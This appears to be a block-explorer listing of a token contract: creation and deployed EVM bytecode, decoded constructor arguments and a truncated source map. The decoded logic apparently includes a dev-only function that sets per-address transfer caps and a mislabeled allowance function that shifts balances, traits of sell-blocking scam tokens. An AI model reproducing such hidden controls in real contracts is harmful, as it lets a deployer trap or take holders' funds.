ffffffffffffffffffffffffffff16141561116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116390611939565b60405180910390fd5b6000811415600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160146101000a81548160ff021916908315150217905550600081146112585781600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112db565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160146101000a81548160ff0219169083151502179055505b505050565b600080611348856104b5565b9050600081111561139657808211611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90611979565b60405180910390fd5b5b61140285600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b156114a95781600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114529190611a7c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060095491506114a48583610f4c565b611538565b81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f49190611a7c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b505050565b600061155761155284611a34565b611a0f565b9050808382526020820190508285602086028201111561157657600080fd5b60005b858110156115a6578161158c88826115b0565b845260208401935060208301925050600181019050611579565b5050509392505050565b6000813590506115bf81611e4b565b92915050565b600082601f8301126115d657600080fd5b81356115e6848260208601611544565b91505092915050565b6000813590506115fe81611e62565b92915050565b60006020828403121561161657600080fd5b6000611624848285016115b0565b91505092915050565b6000806040838503121561164057600080fd5b600061164e858286016115b0565b925050602061165f858286016115b0565b9150509250929050565b60008060006060848603121561167e57600080fd5b600061168c868287016115b0565b935050602061169d868287016115b0565b92505060406116ae868287016115ef565b9150509250925092565b600080604083850312156116cb57600080fd5b60006116d9858286016115b0565b92505060206116ea858286016115ef565b9150509250929050565b6000806040838503121561170757600080fd5b600083013567ffffffffffffffff81111561172157600080fd5b61172d858286016115c5565b925050602061173e858286016115ef565b9150509250929050565b61175181611b06565b82525050565b61176861176382611b06565b611c3a565b82525050565b61177781611b18565b82525050565b600061178882611a60565b6117928185611a6b565b93506117a2818560208601611b5b565b6117ab81611ceb565b840191505092915050565b60006117c3602683611a6b565b91506117ce82611d09565b604082019050919050565b60006117e6600f83611a6b565b91506117f182611d58565b602082019050919050565b6000611809600e83611a6b565b915061181482611d81565b602082019050919050565b600061182c601c83611a6b565b915061183782611daa565b602082019050919050565b600061184f602083611a6b565b915061185a82611dd3565b602082019050919050565b6000611872602583611a6b565b915061187d82611dfc565b604082019050919050565b61189181611b44565b82525050565b6118a081611b4e565b82525050565b60006118b28284611757565b60148201915081905092915050565b60006020820190506118d66000830184611748565b92915050565b60006020820190506118f1600083018461176e565b92915050565b60006020820190508181036000830152611911818461177d565b905092915050565b60006020820190508181036000830152611932816117b6565b9050919050565b60006020820190508181036000830152611952816117d9565b9050919050565b60006020820190508181036000830152611972816117fc565b9050919050565b600060208201905081810360008301526119928161181f565b9050919050565b600060208201905081810360008301526119b281611842565b9050919050565b600060208201905081810360008301526119d281611865565b9050919050565b60006020820190506119ee6000830184611888565b92915050565b6000602082019050611a096000830184611897565b92915050565b6000611a19611a2a565b9050611a258282611bc0565b919050565b6000604051905090565b600067ffffffffffffffff821115611a4f57611a4e611cbc565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611a8782611b44565b9150611a9283611b44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ac757611ac6611c5e565b5b828201905092915050565b6000611add82611b44565b9150611ae883611b44565b925082821015611afb57611afa611c5e565b5b828203905092915050565b6000611b1182611b24565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b79578082015181840152602081019050611b5e565b83811115611b88576000848401525b50505050565b60006002820490506001821680611ba657607f821691505b60208210811415611bba57611bb9611c8d565b5b50919050565b611bc982611ceb565b810181811067ffffffffffffffff82111715611be857611be7611cbc565b5b80604052505050565b6000611bfc82611b44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611c2f57611c2e611c5e565b5b600182019050919050565b6000611c4582611c4c565b9050919050565b6000611c5782611cfc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b7f45524332303a2063726f737320616d6f756e742069732077726f6e6700000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b611e5481611b06565b8114611e5f57600080fd5b50565b611e6b81611b44565b8114611e7657600080fd5b5056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e4e416fcec94f665badac17f45c6c8a16f6555e7bbb00c1d64c33fd8147f775564736f6c63430008020033000000000000000000000000c63d36c03a0609d11a4ce223f09d65d7cd8cf060000000000000000000000000000000000000000000000000000000003b9aca00

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a082311161009757806395d89b411161006657806395d89b4114610288578063a9059cbb146102a6578063ae6b8c3f146102d6578063dd62ed3e146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806390ec57f114610258576100f5565b806323b872dd116100d357806323b872dd146101665780632bd69e8914610196578063313ce567146101c657806339509351146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906118f7565b60405180910390f35b610132600480360381019061012d91906116b8565b6103b4565b60405161013f91906118dc565b60405180910390f35b6101506103d2565b60405161015d91906119d9565b60405180910390f35b610180600480360381019061017b9190611669565b6103dc565b60405161018d91906118dc565b60405180910390f35b6101b060048036038101906101ab9190611604565b6104b5565b6040516101bd91906119d9565b60405180910390f35b6101ce6104fe565b6040516101db91906119f4565b60405180910390f35b6101fe60048036038101906101f991906116b8565b610515565b005b61021a60048036038101906102159190611604565b6106db565b60405161022791906119d9565b60405180910390f35b610238610724565b005b6102426107ac565b60405161024f91906118c1565b60405180910390f35b610272600480360381019061026d91906116b8565b6107d5565b60405161027f91906118dc565b60405180910390f35b61029061083f565b60405161029d91906118f7565b60405180910390f35b6102c060048036038101906102bb91906116b8565b6108d1565b6040516102cd91906118dc565b60405180910390f35b6102f060048036038101906102eb91906116f4565b6108ef565b005b61030c6004803603810190610307919061162d565b6109f4565b60405161031991906119d9565b60405180910390f35b60606006805461033190611b8e565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611b8e565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610a91565b8484610a99565b6001905092915050565b6000600954905090565b60006103e9848484610c2d565b6104aa846103f5610a91565b6104a585604051806060016040528060298152602001611ea160299139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610a91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e939092919063ffffffff16565b610a99565b600190509392505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600860009054906101000a900460ff16905090565b6000339050600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561058a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058190611939565b60405180910390fd5b600082116105cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c490611959565b60405180910390fd5b60006105fe84600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b156106745761060d8282610f4c565b6106178184610fde565b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106689190611a7c565b925050819055506106d5565b61067e8282610f4c565b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106cd9190611a7c565b925050819055505b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61072c610a91565b73ffffffffffffffffffffffffffffffffffffffff1661074a6107ac565b73ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790611999565b60405180910390fd5b6107aa6000611004565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000803390506107e68185856110c8565b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160149054906101000a900460ff1691505092915050565b60606007805461084e90611b8e565b80601f016020809104026020016040519081016040528092919081815260200182805461087a90611b8e565b80156108c75780601f1061089c576101008083540402835291602001916108c7565b820191906000526020600020905b8154815290600101906020018083116108aa57829003601f168201915b5050505050905090565b60006108e56108de610a91565b8484610c2d565b6001905092915050565b600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461094c57600080fd5b60005b82518110156109ef578160046000858481518110610996577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806109e790611bf1565b91505061094f565b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610a899190611a7c565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610b035750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b39906119b9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2091906119d9565b60405180910390a3505050565b610c3883838361133c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ca25750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd890611919565b60405180910390fd5b610cec83838361153f565b610d5881604051806060016040528060278152602001611e7a60279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e939092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de69190611a7c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e8691906119d9565b60405180910390a3505050565b6000838311158290610edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed291906118f7565b60405180910390fd5b5082840390509392505050565b60008083604051602001610efc91906118a6565b604051602081830303815290604052805190602001209050600083604051602001610f2791906118a6565b6040516020818303038152906040528051906020012090508082149250505092915050565b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f979190611ad2565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808214610ffa578183610ff39190611a7c565b9050610ffe565b8190505b92915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6110f783600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b1561133757600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116390611939565b60405180910390fd5b6000811415600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160146101000a81548160ff021916908315150217905550600081146112585781600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112db565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160146101000a81548160ff0219169083151502179055505b505050565b600080611348856104b5565b9050600081111561139657808211611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90611979565b60405180910390fd5b5b61140285600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b156114a95781600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114529190611a7c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060095491506114a48583610f4c565b611538565b81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f49190611a7c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b505050565b600061155761155284611a34565b611a0f565b9050808382526020820190508285602086028201111561157657600080fd5b60005b858110156115a6578161158c88826115b0565b845260208401935060208301925050600181019050611579565b5050509392505050565b6000813590506115bf81611e4b565b92915050565b600082601f8301126115d657600080fd5b81356115e6848260208601611544565b91505092915050565b6000813590506115fe81611e62565b92915050565b60006020828403121561161657600080fd5b6000611624848285016115b0565b91505092915050565b6000806040838503121561164057600080fd5b600061164e858286016115b0565b925050602061165f858286016115b0565b9150509250929050565b60008060006060848603121561167e57600080fd5b600061168c868287016115b0565b935050602061169d868287016115b0565b92505060406116ae868287016115ef565b9150509250925092565b600080604083850312156116cb57600080fd5b60006116d9858286016115b0565b92505060206116ea858286016115ef565b9150509250929050565b6000806040838503121561170757600080fd5b600083013567ffffffffffffffff81111561172157600080fd5b61172d858286016115c5565b925050602061173e858286016115ef565b9150509250929050565b61175181611b06565b82525050565b61176861176382611b06565b611c3a565b82525050565b61177781611b18565b82525050565b600061178882611a60565b6117928185611a6b565b93506117a2818560208601611b5b565b6117ab81611ceb565b840191505092915050565b60006117c3602683611a6b565b91506117ce82611d09565b604082019050919050565b60006117e6600f83611a6b565b91506117f182611d58565b602082019050919050565b6000611809600e83611a6b565b915061181482611d81565b602082019050919050565b600061182c601c83611a6b565b915061183782611daa565b602082019050919050565b600061184f602083611a6b565b915061185a82611dd3565b602082019050919050565b6000611872602583611a6b565b915061187d82611dfc565b604082019050919050565b61189181611b44565b82525050565b6118a081611b4e565b82525050565b60006118b28284611757565b60148201915081905092915050565b60006020820190506118d66000830184611748565b92915050565b60006020820190506118f1600083018461176e565b92915050565b60006020820190508181036000830152611911818461177d565b905092915050565b60006020820190508181036000830152611932816117b6565b9050919050565b60006020820190508181036000830152611952816117d9565b9050919050565b60006020820190508181036000830152611972816117fc565b9050919050565b600060208201905081810360008301526119928161181f565b9050919050565b600060208201905081810360008301526119b281611842565b9050919050565b600060208201905081810360008301526119d281611865565b9050919050565b60006020820190506119ee6000830184611888565b92915050565b6000602082019050611a096000830184611897565b92915050565b6000611a19611a2a565b9050611a258282611bc0565b919050565b6000604051905090565b600067ffffffffffffffff821115611a4f57611a4e611cbc565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611a8782611b44565b9150611a9283611b44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ac757611ac6611c5e565b5b828201905092915050565b6000611add82611b44565b9150611ae883611b44565b925082821015611afb57611afa611c5e565b5b828203905092915050565b6000611b1182611b24565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b79578082015181840152602081019050611b5e565b83811115611b88576000848401525b50505050565b60006002820490506001821680611ba657607f821691505b60208210811415611bba57611bb9611c8d565b5b50919050565b611bc982611ceb565b810181811067ffffffffffffffff82111715611be857611be7611cbc565b5b80604052505050565b6000611bfc82611b44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611c2f57611c2e611c5e565b5b600182019050919050565b6000611c4582611c4c565b9050919050565b6000611c5782611cfc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b7f45524332303a2063726f737320616d6f756e742069732077726f6e6700000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b611e5481611b06565b8114611e5f57600080fd5b50565b611e6b81611b44565b8114611e7657600080fd5b5056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e4e416fcec94f665badac17f45c6c8a16f6555e7bbb00c1d64c33fd8147f775564736f6c63430008020033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000c63d36c03a0609d11a4ce223f09d65d7cd8cf060000000000000000000000000000000000000000000000000000000003b9aca00

-----Decoded View---------------
Arg [0] : dev_ (address): 0xC63D36c03a0609d11A4Ce223f09d65d7cd8Cf060
Arg [1] : totalSupply_ (uint256): 1000000000

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000c63d36c03a0609d11a4ce223f09d65d7cd8cf060
Arg [1] : 000000000000000000000000000000000000000000000000000000003b9aca00


Deployed Bytecode Sourcemap

12710:7087:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13809:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14754:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14095:101;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14952:443;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18990:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14003:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17163:509;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14204:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12249:94;;;:::i;:::-;;11598:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18104:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13905:90;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14365:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18319:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14570:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13809:88;13854:13;13887:2;13880:9;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13809:88;:::o;14754:190::-;14857:4;14879:35;14884:12;:10;:12::i;:::-;14898:7;14907:6;14879:4;:35::i;:::-;14932:4;14925:11;;14754:190;;;;:::o;14095:101::-;14156:7;14183:5;;14176:12;;14095:101;:::o;14952:443::-;15092:4;15109:33;15116:6;15124:9;15135:6;15109;:33::i;:::-;15153:212;15172:6;15193:12;:10;:12::i;:::-;15220:134;15271:6;15220:134;;;;;;;;;;;;;;;;;:6;:14;15227:6;15220:14;;;;;;;;;;;;;;;:28;15235:12;:10;:12::i;:::-;15220:28;;;;;;;;;;;;;;;;:32;;:134;;;;;:::i;:::-;15153:4;:212::i;:::-;15383:4;15376:11;;14952:443;;;;;:::o;18990:114::-;19045:7;19072:15;:24;19088:7;19072:24;;;;;;;;;;;;;;;;19065:31;;18990:114;;;:::o;14003:84::-;14052:5;14077:2;;;;;;;;;;;14070:9;;14003:84;:::o;17163:509::-;17249:12;17264:10;17249:25;;17312:1;17293:21;;:7;:21;;;;17285:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;17362:1;17353:6;:10;17345:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;17393:13;17425:26;17431:7;17440:4;:10;;;;;;;;;;;;17425:5;:26::i;:::-;17421:244;;;17468:17;17473:4;17479:5;17468:4;:17::i;:::-;17508:19;17513:5;17520:6;17508:4;:19::i;:::-;17500:27;;17560:5;17542;:14;17548:7;17542:14;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;17421:244;;;17598:17;17603:4;17609:5;17598:4;:17::i;:::-;17648:5;17630;:14;17636:7;17630:14;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;17421:244;17163:509;;;;:::o;14204:153::-;14303:7;14335:5;:14;14341:7;14335:14;;;;;;;;;;;;;;;;14328:21;;14204:153;;;:::o;12249:94::-;11829:12;:10;:12::i;:::-;11818:23;;:7;:5;:7::i;:::-;:23;;;11810:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12314:21:::1;12332:1;12314:9;:21::i;:::-;12249:94::o:0;11598:87::-;11644:7;11671:6;;;;;;;;;;;11664:13;;11598:87;:::o;18104:203::-;18167:4;18185:12;18200:10;18185:25;;18221:29;18231:4;18237;18243:6;18221:9;:29::i;:::-;18268:4;:10;18273:4;18268:10;;;;;;;;;;;;;;;:21;;;;;;;;;;;;18261:28;;;18104:203;;;;:::o;13905:90::-;13952:13;13985:2;13978:9;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13905:90;:::o;14365:197::-;14471:4;14493:39;14500:12;:10;:12::i;:::-;14514:9;14525:6;14493;:39::i;:::-;14550:4;14543:11;;14365:197;;;;:::o;18319:209::-;13672:4;:10;;;;;;;;;;;;13658:24;;:10;:24;;;13650:33;;;;;;18416:9:::1;18411:110;18435:8;:15;18431:1;:19;18411:110;;;18503:6;18472:15;:28;18488:8;18497:1;18488:11;;;;;;;;;;;;;;;;;;;;;;18472:28;;;;;;;;;;;;;;;:37;;;;18452:3;;;;;:::i;:::-;;;;18411:110;;;;18319:209:::0;;:::o;14570:176::-;14684:7;14716:6;:13;14723:5;14716:13;;;;;;;;;;;;;;;:22;14730:7;14716:22;;;;;;;;;;;;;;;;14709:29;;14570:176;;;;:::o;6394:98::-;6452:7;6483:1;6479;:5;;;;:::i;:::-;6472:12;;6394:98;;;;:::o;575:::-;628:7;655:10;648:17;;575:98;:::o;16837:318::-;16986:1;16969:19;;:5;:19;;;;:44;;;;;17011:1;16992:21;;:7;:21;;;;16969:44;16961:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;17093:6;17068;:13;17075:5;17068:13;;;;;;;;;;;;;;;:22;17082:7;17068:22;;;;;;;;;;;;;;;:31;;;;17131:7;17115:32;;17124:5;17115:32;;;17140:6;17115:32;;;;;;:::i;:::-;;;;;;;;16837:318;;;:::o;15403:572::-;15532:35;15541:6;15549:9;15560:6;15532:8;:35::i;:::-;15604:1;15586:20;;:6;:20;;;;:47;;;;;15631:1;15610:23;;:9;:23;;;;15586:47;15578:99;;;;;;;;;;;;:::i;:::-;;;;;;;;;15690:39;15703:6;15711:9;15722:6;15690:12;:39::i;:::-;15756:105;15788:6;15756:105;;;;;;;;;;;;;;;;;:5;:13;15762:6;15756:13;;;;;;;;;;;;;;;;:17;;:105;;;;;:::i;:::-;15740:5;:13;15746:6;15740:13;;;;;;;;;;;;;;;:121;;;;15910:6;15891:5;:16;15897:9;15891:16;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;15872:5;:16;15878:9;15872:16;;;;;;;;;;;;;;;:44;;;;15949:9;15932:35;;15941:6;15932:35;;;15960:6;15932:35;;;;;;:::i;:::-;;;;;;;;15403:572;;;:::o;8673:224::-;8793:7;8843:1;8838;:6;;8846:12;8830:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;8881:1;8877;:5;8870:12;;8673:224;;;;;:::o;17680:234::-;17747:4;17764:13;17807:4;17790:22;;;;;;;;:::i;:::-;;;;;;;;;;;;;17780:33;;;;;;17764:49;;17824:13;17867:5;17850:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;17840:34;;;;;;17824:50;;17901:5;17892;:14;17885:21;;;;17680:234;;;;:::o;16723:106::-;16815:6;16801:5;:11;16807:4;16801:11;;;;;;;;;;;;;;;;:20;;;;:::i;:::-;16787:5;:11;16793:4;16787:11;;;;;;;;;;;;;;;:34;;;;16723:106;;:::o;17922:174::-;17987:7;18019:1;18011:4;:9;18007:60;;18051:4;18044;:11;;;;:::i;:::-;18037:18;;;;18007:60;18084:4;18077:11;;17922:174;;;;;:::o;12351:173::-;12407:16;12426:6;;;;;;;;;;;12407:25;;12452:8;12443:6;;:17;;;;;;;;;;;;;;;;;;12507:8;12476:40;;12497:8;12476:40;;;;;;;;;;;;12351:173;;:::o;18536:446::-;18623:23;18629:4;18635;:10;;;;;;;;;;;;18623:5;:23::i;:::-;18619:356;;;18687:1;18671:18;;:4;:18;;;;18663:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;18758:1;18748:6;:11;;18724:4;:10;18729:4;18724:10;;;;;;;;;;;;;;;:21;;;:35;;;;;;;;;;;;;;;;;;18788:1;18778:6;:11;18774:147;;18829:4;18810;:10;18815:4;18810:10;;;;;;;;;;;;;;;:16;;;:23;;;;;;;;;;;;;;;;;;18774:147;;;18901:1;18874:4;:10;18879:4;18874:10;;;;;;;;;;;;;;;:16;;;:29;;;;;;;;;;;;;;;;;;18774:147;18959:4;18935;:10;18940:4;18935:10;;;;;;;;;;;;;;;:21;;;:28;;;;;;;;;;;;;;;;;;18619:356;18536:446;;;:::o;19114:555::-;19235:14;19264:21;19288:13;19296:4;19288:7;:13::i;:::-;19264:37;;19